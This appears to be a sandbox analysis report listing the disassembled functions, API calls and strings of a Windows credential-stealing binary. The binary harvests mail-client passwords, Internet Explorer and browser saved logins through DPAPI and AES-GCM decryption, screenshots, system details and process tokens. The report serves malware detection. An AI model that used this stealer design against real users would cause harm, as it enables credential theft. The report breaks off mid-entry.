CryptUnprotectData.CRYPT32(TG,00000000,00000000,00000000,00000000,00000001,?), ref: 0043510C
LocalFree.KERNEL32(?), ref: 00435144
lstrlenW.KERNEL32(POP3 Password), ref: 00435151
lstrlenW.KERNEL32(00000001), ref: 00435175
lstrlenW.KERNEL32(POP3 Port), ref: 004351F6
wsprintfA.USER32 ref: 00435222
lstrlenA.KERNEL32(?), ref: 0043522F
lstrlenW.KERNEL32(?), ref: 00434FA4

Part of subcall function 00445EF8: _free.LIBCMT ref: 00445F0B

lstrlenW.KERNEL32(SMTP Email Address), ref: 00434F80

Part of subcall function 00435E7F: lstrlenA.KERNEL32(?,?,74E069A0,?,?), ref: 00435EB0
Part of subcall function 00435E7F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435ECF
Part of subcall function 00435E7F: lstrcpyA.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0,?,?), ref: 00435EF2
Part of subcall function 00435E7F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,74E069A0), ref: 00435F1E

Part of subcall function 00435F3C: lstrlenA.KERNEL32(?,?,?,?,?,?,?,00428B6A,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00435F61
Part of subcall function 00435F3C: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,?,?,00428B6A,00000001,?,ftp://,00000006,?,Microsoft_WinInet_,00000012), ref: 00435F88

lstrlenW.KERNEL32(POP3 Password2), ref: 00435023

Strings

SMTP Password, xrefs: 00435097
SMTP Server, xrefs: 00434ECD
SMTP User Name, xrefs: 00434EFA
NNTP Email Address, xrefs: 00434F04
POP3 Password, xrefs: 0043507A, 004350AF, 00435150
%d, xrefs: 0043521C
POP3 User Name, xrefs: 00434EF0
NNTP Password2, xrefs: 00434FEA
HTTPMail User Name, xrefs: 00434F4D
Email, xrefs: 00434F2A
IMAP Password2, xrefs: 00434FE0
POP3 User, xrefs: 00434F3F
SMTP Email Address, xrefs: 00434EC8, 00434F6A, 00434F7F
SMTP User, xrefs: 00434F5B
HTTPMail Password2, xrefs: 00434FF1
NNTP Server, xrefs: 00434F15
IMAP Server, xrefs: 00434F1C
IMAP User, xrefs: 00434F46
POP3 Password2, xrefs: 00434FDB, 0043500D, 00435022
SMTP Password2, xrefs: 00434FF8
,GTG, xrefs: 004351B3
HTTP Server URL, xrefs: 00434F38
IMAP User Name, xrefs: 00434F23
NNTP Password, xrefs: 00435089
POP3 Port, xrefs: 004351B6, 004351DA, 004351F5
HTTPMail Server, xrefs: 00434F54
HTTP User, xrefs: 00434F31
IMAP Port, xrefs: 004351C5
IMAP Password, xrefs: 0043507F
POP3 Server, xrefs: 00434EE0
NNTP User Name, xrefs: 00434F0E
TG, xrefs: 00435108, 0043510B
HTTP Password, xrefs: 00435090
SMTP Port, xrefs: 004351BB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrlen$ByteCharMultiQueryValueWidelstrcpy$CloseCryptDataFreeLocalOpenUnprotect_freewsprintf
String ID: %d$,GTG$Email$HTTP Password$HTTP Server URL$HTTP User$HTTPMail Password2$HTTPMail Server$HTTPMail User Name$IMAP Password$IMAP Password2$IMAP Port$IMAP Server$IMAP User$IMAP User Name$NNTP Email Address$NNTP Password$NNTP Password2$NNTP Server$NNTP User Name$POP3 Password$POP3 Password2$POP3 Port$POP3 Server$POP3 User$POP3 User Name$SMTP Email Address$SMTP Password$SMTP Password2$SMTP Port$SMTP Server$SMTP User$SMTP User Name$TG
API String ID: 2832241015-500306767
Opcode ID: af0bd4e48e7613f9bce012bbb5873f0bcfadf6bd648b7d6a35e4645e68ff955c
Instruction ID: 6b0236c2990cafd62e27a7ba6c709938415de8c04d3cd6eed35e99d3f0bc5167
Opcode Fuzzy Hash: af0bd4e48e7613f9bce012bbb5873f0bcfadf6bd648b7d6a35e4645e68ff955c
Instruction Fuzzy Hash: E2B17371E006189BEF00DF96C8457EE7BB9AF48304F14C19AE409BB345DBB85A45CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00429260 Relevance: 51.2, APIs: 28, Strings: 1, Instructions: 441stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 004292A8
LoadLibraryA.KERNEL32(?), ref: 004292FE
GetProcAddress.KERNEL32(00000000,?), ref: 0042934E
GetProcAddress.KERNEL32(00000000,?), ref: 0042938E
GetProcAddress.KERNEL32(00000000,?), ref: 004293D2
GetProcAddress.KERNEL32(00000000,?), ref: 0042940F
GetProcAddress.KERNEL32(00000000,?), ref: 0042944D
GetProcAddress.KERNEL32(00000000,?), ref: 00429488
lstrlenW.KERNEL32(?), ref: 0042954C
lstrcpyW.KERNEL32 ref: 00429567
lstrlenW.KERNEL32(?), ref: 00429574
lstrcpyW.KERNEL32 ref: 00429593
lstrlenW.KERNEL32(?), ref: 004295A0
lstrcpyW.KERNEL32 ref: 004295C4
lstrlenW.KERNEL32(?), ref: 004295F8
lstrcpyW.KERNEL32 ref: 00429619
StrStrIW.SHLWAPI(?,Internet Explorer), ref: 00429730
lstrlenW.KERNEL32(00000000), ref: 0042973B
lstrlenW.KERNEL32(?), ref: 0042974B
FreeLibrary.KERNEL32(00000000), ref: 004297D9

Strings

Internet Explorer, xrefs: 0042972A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProclstrlen$lstrcpy$Library$FreeLoadVersion
String ID: Internet Explorer
API String ID: 4222390991-1412615936
Opcode ID: 891387ccf1acc239c587a8b22ce97c845f823d6502884acdb1a529ed24d4ea47
Instruction ID: 7495c99ff08519f8c1d48bc4601cad1e2ca3606a2f54b4a73c09033788219a8c
Opcode Fuzzy Hash: 891387ccf1acc239c587a8b22ce97c845f823d6502884acdb1a529ed24d4ea47
Instruction Fuzzy Hash: AEF19F71D002689FEF14CFA9EC49BEEBBB8EF49304F14046AE405E7251DB789945CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0041F3F5 Relevance: 42.6, APIs: 15, Strings: 9, Instructions: 601libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041F3FA

Part of subcall function 004360CE: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 0043611A

Part of subcall function 00435C2D: __EH_prolog.LIBCMT ref: 00435C32
Part of subcall function 00435C2D: _strcat.LIBCMT ref: 00435C8D

SetCurrentDirectoryA.KERNEL32(00000000,?,00000000,00000000), ref: 0041F5CB

Part of subcall function 0041F280: __EH_prolog.LIBCMT ref: 0041F285

LoadLibraryA.KERNEL32(00000000), ref: 0041F8C1
GetProcAddress.KERNEL32(00000000,?), ref: 0041F90D
GetProcAddress.KERNEL32(00000000,?), ref: 0041F94B
GetProcAddress.KERNEL32(00000000,?), ref: 0041F98C
GetProcAddress.KERNEL32(00000000,3838256B), ref: 0041F9CE
GetProcAddress.KERNEL32(00000000,?), ref: 0041FA02
GetProcAddress.KERNEL32(00000000,?), ref: 0041FA30
GetProcAddress.KERNEL32(00000000,?), ref: 0041FA6E
GetProcAddress.KERNEL32(00000000,?), ref: 0041FA9F
GetProcAddress.KERNEL32(00000000,1A1F0200), ref: 0041FADF
GetProcAddress.KERNEL32(00000000,?), ref: 0041FB14
GetProcAddress.KERNEL32(00000000,?), ref: 0041FB44
GetProcAddress.KERNEL32(00000000,?), ref: 0041FB8C

Strings

.@Ym, xrefs: 0041F99E
exi?, xrefs: 0041FA42
AW, xrefs: 0041FB6A
2AC^[FmQ^]AW, xrefs: 0041FB7E
k%88, xrefs: 0041F916
\jM7vK.zip, xrefs: 0041F515, 0041F5D8, 0041F681
\nss3.dll, xrefs: 0041F45A, 0041F6E6, 0041F759, 0041F88F
DYYUCdc~, xrefs: 0041F8F9
fB9oV, xrefs: 0041F45F, 0041F5AE, 0041F686

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$CurrentDirectoryEnvironmentLibraryLoadVariable_strcat
String ID: DYYUCdc~$.@Ym$2AC^[FmQ^]AW$AW$\jM7vK.zip$\nss3.dll$exi?$fB9oV$k%88
API String ID: 1501777685-2119776792
Opcode ID: 92de773e7742cf532dc433262a7b54763d75f80b34c918edf0931901fa753dee
Instruction ID: 61e9ef335a2439aff57a97b973672b4e12074fb28fe19d93eafc188e08c6205b
Opcode Fuzzy Hash: 92de773e7742cf532dc433262a7b54763d75f80b34c918edf0931901fa753dee
Instruction Fuzzy Hash: 7532F430D05288CADF15EFB9D8507EEBBB1AF59308F14447ED401A7292DB784A8ACB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042B173 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 193windowmemoryfileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B178
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0042B1A6
GetDesktopWindow.USER32 ref: 0042B1AC
GetWindowRect.USER32 ref: 0042B1B9
GetWindowDC.USER32(00000000), ref: 0042B1C0
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0042B1E0
CreateCompatibleDC.GDI32(00000000), ref: 0042B1E9
CreateDIBSection.GDI32(?,00000028,00000001,?,00000000,00000000), ref: 0042B234
DeleteDC.GDI32(00000000), ref: 0042B248
DeleteDC.GDI32(?), ref: 0042B24D
SaveDC.GDI32(00000000), ref: 0042B254
SelectObject.GDI32(00000000,?), ref: 0042B260
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0042B279
RestoreDC.GDI32(00000000,00000000), ref: 0042B281
DeleteDC.GDI32(00000000), ref: 0042B28E
DeleteDC.GDI32(?), ref: 0042B293
GdipAlloc.GDIPLUS(00000010), ref: 0042B297
GdipCreateBitmapFromHBITMAP.GDIPLUS(?,00000000,?), ref: 0042B2B7
_mbstowcs.LIBCMT ref: 0042B32A
GdipSaveImageToFile.GDIPLUS(?,00000000,?,?), ref: 0042B347
DeleteObject.GDI32(00000010), ref: 0042B36C
GdiplusShutdown.GDIPLUS(?), ref: 0042B375

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

(, xrefs: 0042B208

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Delete$CreateGdipWindow$GdiplusObjectSave$AllocBitmapCapsCompatibleDeallocateDesktopDeviceFileFromH_prologImageRectRestoreSectionSelectShutdownStartup_mbstowcs
String ID: (
API String ID: 4140672344-3887548279
Opcode ID: 5b6ff0c939cf20289dc7472261dd6c58dd017177ebd5c63eba3923d051137882
Instruction ID: 283a2514f48b72236c8223719904cbcd7be021b708eb26886556e2c9ba847a87
Opcode Fuzzy Hash: 5b6ff0c939cf20289dc7472261dd6c58dd017177ebd5c63eba3923d051137882
Instruction Fuzzy Hash: E27108B5D00229EFDB11DFA5DD849AEBBF8FF08340F10452AE916E7210E7B459418F65

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1A3 Relevance: 38.2, APIs: 16, Strings: 5, Instructions: 1426memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D1A8
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00000048,?,?,00000048,?), ref: 0040D4BC
HeapFree.KERNEL32(00000000,?,?,?,00000048,?,?,00000048,?), ref: 0040D4C3

Strings

"},, xrefs: 0040E204
v10, xrefs: 0040DF54
\, xrefs: 0040D6ED
H, xrefs: 0040D2DE
Opera, xrefs: 0040DFB4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Heap$FreeH_prologProcess
String ID: "},$H$Opera$\$v10
API String ID: 3114893737-2563924897
Opcode ID: dcf58c7411871618692554e6dbb89c14f097b85117cd12793b88e222c48cb987
Instruction ID: 80fd19dcee3a50ec9b55a736011511a12cfa6ba3e8d7464048d8d0a96927ce28
Opcode Fuzzy Hash: dcf58c7411871618692554e6dbb89c14f097b85117cd12793b88e222c48cb987
Instruction Fuzzy Hash: B7D2AE70D00258CBDB15EFA5C891BEDBBB0AF54304F1085AEE50977292EB385B89CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00437D4A Relevance: 30.9, APIs: 13, Strings: 4, Instructions: 1146COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00437D4F

Part of subcall function 004378ED: __EH_prolog.LIBCMT ref: 004378F2
Part of subcall function 004378ED: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020119,?), ref: 00437992
Part of subcall function 004378ED: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 004379E0
Part of subcall function 004378ED: RegCloseKey.ADVAPI32(?), ref: 004379E9

Part of subcall function 004525EA: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 004525FD
Part of subcall function 004525EA: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045262E

_strftime.LIBCMT ref: 00437E82
GetUserDefaultLCID.KERNEL32(00001001,?,00000100), ref: 00437EAB
GetLocaleInfoA.KERNEL32(00000000), ref: 00437EB2
GetUserNameA.ADVAPI32(?,00000101), ref: 00438055
GetComputerNameA.KERNEL32(?,00000101), ref: 004386E6

Part of subcall function 00414A6F: __EH_prolog.LIBCMT ref: 00414A74

GetUserNameA.ADVAPI32(?,00000101), ref: 0043875B
GetSystemInfo.KERNEL32(?,?,?,?,?,00000001), ref: 00438A80
GlobalMemoryStatusEx.KERNEL32(?,?,?,00000001), ref: 00438B70
GetSystemMetrics.USER32 ref: 00438CFB
GetSystemMetrics.USER32 ref: 00438D25
EnumDisplayDevicesA.USER32(00000000,00000000,?,00000000), ref: 00438DB1
EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000000), ref: 00438E0B

Strings

2, xrefs: 004381E6
aE5-mO-4m_A, xrefs: 00437EC5
@, xrefs: 00438B65
>, xrefs: 004385D1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: System$H_prologNameUser$DevicesDisplayEnumInfoMetricsTime$CloseComputerDefaultFileGlobalLocaleMemoryOpenQueryStatusUnothrow_t@std@@@Value__ehfuncinfo$??2@_strftime
String ID: 2$>$@$aE5-mO-4m_A
API String ID: 499160968-1989814004
Opcode ID: bb64027eca7529b9265729608b204dec0241819399e8f48b1bee5eef6af9d3ed
Instruction ID: 764d1ce9cca75e2bd270c3566c19b4b36a0037ca5c91e68f97e9114094c4d419
Opcode Fuzzy Hash: bb64027eca7529b9265729608b204dec0241819399e8f48b1bee5eef6af9d3ed
Instruction Fuzzy Hash: 37A20630A043A88BDF21DB75C8517DEB7B1AF95304F1095EEE48967202EB784F89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F186 Relevance: 30.9, APIs: 12, Strings: 5, Instructions: 1134libraryloaderencryptionCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F18B
GetProcAddress.KERNEL32(?,?), ref: 0040F1E5
GetProcAddress.KERNEL32(?,?), ref: 0040F229
GetProcAddress.KERNEL32(?,?), ref: 0040F277
GetProcAddress.KERNEL32(?,?), ref: 0040F2C4
GetProcAddress.KERNEL32(?,?), ref: 0040F30E
GetProcAddress.KERNEL32(?,?), ref: 0040F358
GetProcAddress.KERNEL32(?,?), ref: 0040F39B
GetProcAddress.KERNEL32(?,?), ref: 0040F3DD
wsprintfA.USER32 ref: 0040F456

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

Part of subcall function 00435CAD: __EH_prolog.LIBCMT ref: 00435CB2

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040FD66

Part of subcall function 0040CB3A: __EH_prolog.LIBCMT ref: 0040CB3F
Part of subcall function 0040CB3A: BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040CBA8
Part of subcall function 0040CB3A: BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040CBC6
Part of subcall function 0040CB3A: BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040CBE7
Part of subcall function 0040CB3A: LocalAlloc.KERNEL32(00000040,?), ref: 0040CC38
Part of subcall function 0040CB3A: BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040CC60

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040FE4A

Part of subcall function 0040C9FC: CreateTransaction.KTMW32(00000000,00000000,00000001,00000000,00000000,000000FF,00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA0F
Part of subcall function 0040C9FC: DeleteFileTransactedA.KERNEL32 ref: 0040CA26
Part of subcall function 0040C9FC: CommitTransaction.KTMW32(00000000,?,00000000,?,?,?,?,00000000), ref: 0040CA31

Part of subcall function 0040E697: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0040E6C5

Strings

360Browser, xrefs: 0040F564
UCBrowser, xrefs: 0040F54D
"},, xrefs: 0040FC38
v10, xrefs: 0040F914
Opera, xrefs: 0040F97A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$Crypt$H_prolog$DataDeallocateTransactionUnprotect$AlgorithmAllocCommitCreateDecryptDeleteFileGenerateIos_base_dtorLocalOpenPropertyProviderSymmetricTransactedstd::ios_base::_wsprintf
String ID: "},$360Browser$Opera$UCBrowser$v10
API String ID: 1957576696-3198395839
Opcode ID: 9c2a96273d190a5193ca7e63cfdbba64afd66c72949db0a161453f2a4421a078
Instruction ID: c5e0bc0f66a7ece195833330dd5cb062d78249d63d81eb057ee3355757520827
Opcode Fuzzy Hash: 9c2a96273d190a5193ca7e63cfdbba64afd66c72949db0a161453f2a4421a078
Instruction Fuzzy Hash: B7B2BA30D002689BDB21DB65CC95BEDBBB0AF59304F1045EAE449B7292EB741BC8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00410327 Relevance: 30.6, APIs: 12, Strings: 5, Instructions: 857libraryloaderencryptionCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041032C
GetProcAddress.KERNEL32(?,?), ref: 0041037A
GetProcAddress.KERNEL32(?,?), ref: 004103AC
GetProcAddress.KERNEL32(?,?), ref: 004103EB
GetProcAddress.KERNEL32(?,?), ref: 00410423
GetProcAddress.KERNEL32(?,?), ref: 00410458
GetProcAddress.KERNEL32(?,?), ref: 0041048D
GetProcAddress.KERNEL32(?,?), ref: 004104BE
GetProcAddress.KERNEL32(?,?), ref: 00410500
wsprintfA.USER32 ref: 0041057A

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00410C27

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 0040CB3A: __EH_prolog.LIBCMT ref: 0040CB3F
Part of subcall function 0040CB3A: BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040CBA8
Part of subcall function 0040CB3A: BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040CBC6
Part of subcall function 0040CB3A: BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040CBE7
Part of subcall function 0040CB3A: LocalAlloc.KERNEL32(00000040,?), ref: 0040CC38
Part of subcall function 0040CB3A: BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040CC60

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00410D08

Strings

360Browser, xrefs: 004106BE
UCBrowser, xrefs: 004106A9
"},, xrefs: 00410B20
v10, xrefs: 00410873
Opera, xrefs: 004108D0

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$Crypt$DataDeallocateH_prologUnprotect$AlgorithmAllocDecryptGenerateLocalOpenPropertyProviderSymmetricwsprintf
String ID: "},$360Browser$Opera$UCBrowser$v10
API String ID: 3829445001-3198395839
Opcode ID: 82841d2281ec6592ed7b0697fc47b2ca6efcb1c9986d488f20dfad29e21c76b1
Instruction ID: 9bafb8d21b0bc4690e0ccdc6f06a9653c13b1314b456fd9444baeaf13ef80361
Opcode Fuzzy Hash: 82841d2281ec6592ed7b0697fc47b2ca6efcb1c9986d488f20dfad29e21c76b1
Instruction Fuzzy Hash: 3A72CB30C01258DBDF11DFA5CC91AEEBBB1AF59308F1040AEE449A7252EB745BC9CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00428EC4 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 169encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00428EE9
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 00428F0A
lstrlenW.KERNEL32 ref: 00428F19
CryptHashData.ADVAPI32(?,?,00000000,00000000), ref: 00428F2C
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,00000000), ref: 00428F4F
wsprintfW.USER32 ref: 00428F8B
lstrcatW.KERNEL32(00000000,?), ref: 00428F99
wsprintfW.USER32 ref: 00428FB9
lstrcatW.KERNEL32(00000000,?), ref: 00428FC7
CryptDestroyHash.ADVAPI32(?,?,00000000,00000000), ref: 00428FD0
CryptReleaseContext.ADVAPI32(?,00000000), ref: 00428FDB
lstrlenW.KERNEL32 ref: 00429022
CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,00000001,?), ref: 00429045
LocalFree.KERNEL32(00000000), ref: 0042907E

Strings

Software\Microsoft\Internet Explorer\IntelliForms\Storage2, xrefs: 00428FF5
%02X, xrefs: 00428F85, 00428FB3

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$ContextDatalstrcatlstrlenwsprintf$AcquireCreateDestroyFreeLocalParamReleaseUnprotect
String ID: %02X$Software\Microsoft\Internet Explorer\IntelliForms\Storage2
API String ID: 1004607082-2450551051
Opcode ID: 40d51e538c2382ce9ecd96f884ad9d58b5206b79970620aba4a40baa9dfb2b9b
Instruction ID: 4345c4c5f1c32d4199cd139d7f8ef0efda056ddd6d25cda5fdce87c72dcee66b
Opcode Fuzzy Hash: 40d51e538c2382ce9ecd96f884ad9d58b5206b79970620aba4a40baa9dfb2b9b
Instruction Fuzzy Hash: 39512F72E00219AFEB119BA5DC45FFF77BCEF44300F14402AF505E6291EAB89A05CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6DD Relevance: 23.5, APIs: 10, Strings: 3, Instructions: 735libraryloaderCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040E6E2
GetProcAddress.KERNEL32(?,?), ref: 0040E72D
GetProcAddress.KERNEL32(?,?), ref: 0040E75F
GetProcAddress.KERNEL32(?,?), ref: 0040E79E
GetProcAddress.KERNEL32(?,?), ref: 0040E7D6
GetProcAddress.KERNEL32(?,?), ref: 0040E80B
GetProcAddress.KERNEL32(?,?), ref: 0040E83C
GetProcAddress.KERNEL32(?,?), ref: 0040E87E
wsprintfA.USER32 ref: 0040E8F8

Strings

"},, xrefs: 0040EE43
v10, xrefs: 0040EB5C
Opera, xrefs: 0040EBEF

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prologwsprintf
String ID: "},$Opera$v10
API String ID: 3606448584-2774946106
Opcode ID: 6b0f85ef27664482c16246818893a7db2980a484426620b114d8440e1307f3e0
Instruction ID: 19e351383c98b94b4a67ee097c5e4352e0ebe081a7d42689625539601951e539
Opcode Fuzzy Hash: 6b0f85ef27664482c16246818893a7db2980a484426620b114d8440e1307f3e0
Instruction Fuzzy Hash: 28629030D00258DBDF10EFA5CC91AEDBBB4AF58304F1084AEE449B7291EB745A89CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00439308 Relevance: 19.6, APIs: 13, Instructions: 142processCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043930D
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00439371
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0043938B
OpenProcess.KERNEL32(001FFFFF,00000000,?,000000FF,?,00000000), ref: 004393FF
OpenProcessToken.ADVAPI32(00000000,000F01FF,?,?,00000000), ref: 00439411
DuplicateTokenEx.ADVAPI32(?,000F01FF,00000000,00000002,00000001,?,?,00000000), ref: 0043942C
CloseHandle.KERNEL32(?,?,00000000), ref: 00439439
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000), ref: 0043944C
_strlen.LIBCMT ref: 00439459
_mbstowcs.LIBCMT ref: 0043946E
CreateProcessWithTokenW.ADVAPI32(?,00000001,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00439488
CloseHandle.KERNEL32(00000000,?,00000000), ref: 0043948F
Process32NextW.KERNEL32(00000000,0000022C), ref: 004394A1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ProcessToken$CloseCreateHandleOpenProcess32$DuplicateFileFirstH_prologModuleNameNextSnapshotToolhelp32With_mbstowcs_strlen
String ID:
API String ID: 1291480875-0
Opcode ID: c211778cb27928c1ae00d3f3f030889bc4e7f5e5bc355da2d6fcda664850e8f5
Instruction ID: c21ccb8e75ff212baf7a07e0a97d6ea99e389185ab1b6222251fc7ceed3f9369
Opcode Fuzzy Hash: c211778cb27928c1ae00d3f3f030889bc4e7f5e5bc355da2d6fcda664850e8f5
Instruction Fuzzy Hash: A6419471900219AFDB10DFA1DC85AEFB7BDFF48304F00806AF901A6251EBB44E49CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040CB3F
BCryptOpenAlgorithmProvider.BCRYPT(?,AES,00000000,00000000), ref: 0040CBA8
BCryptSetProperty.BCRYPT(?,ChainingMode,ChainingModeGCM,00000020,00000000), ref: 0040CBC6
BCryptGenerateSymmetricKey.BCRYPT(?,00000010,00000000,00000000,?,00000020,00000000), ref: 0040CBE7
LocalAlloc.KERNEL32(00000040,?), ref: 0040CC38
BCryptDecrypt.BCRYPT(00000010,?,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040CC60
BCryptCloseAlgorithmProvider.BCRYPT(00000000,00000000), ref: 0040CCC5
BCryptDestroyKey.BCRYPT(00000000), ref: 0040CCD5

Strings

ChainingModeGCM, xrefs: 0040CBB9
ChainingMode, xrefs: 0040CBBE
AES, xrefs: 0040CBA2

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Crypt$AlgorithmProvider$AllocCloseDecryptDestroyGenerateH_prologLocalOpenPropertySymmetric
String ID: AES$ChainingMode$ChainingModeGCM
API String ID: 709062000-1213888626
Opcode ID: 71f0ac93415e5f4f7549831106420273038b00db0d05cbc81885933dc66d2219
Instruction ID: bf4f281e8e412c5d07de2649efb49659524830c82d6bba9acf1feb025742385c
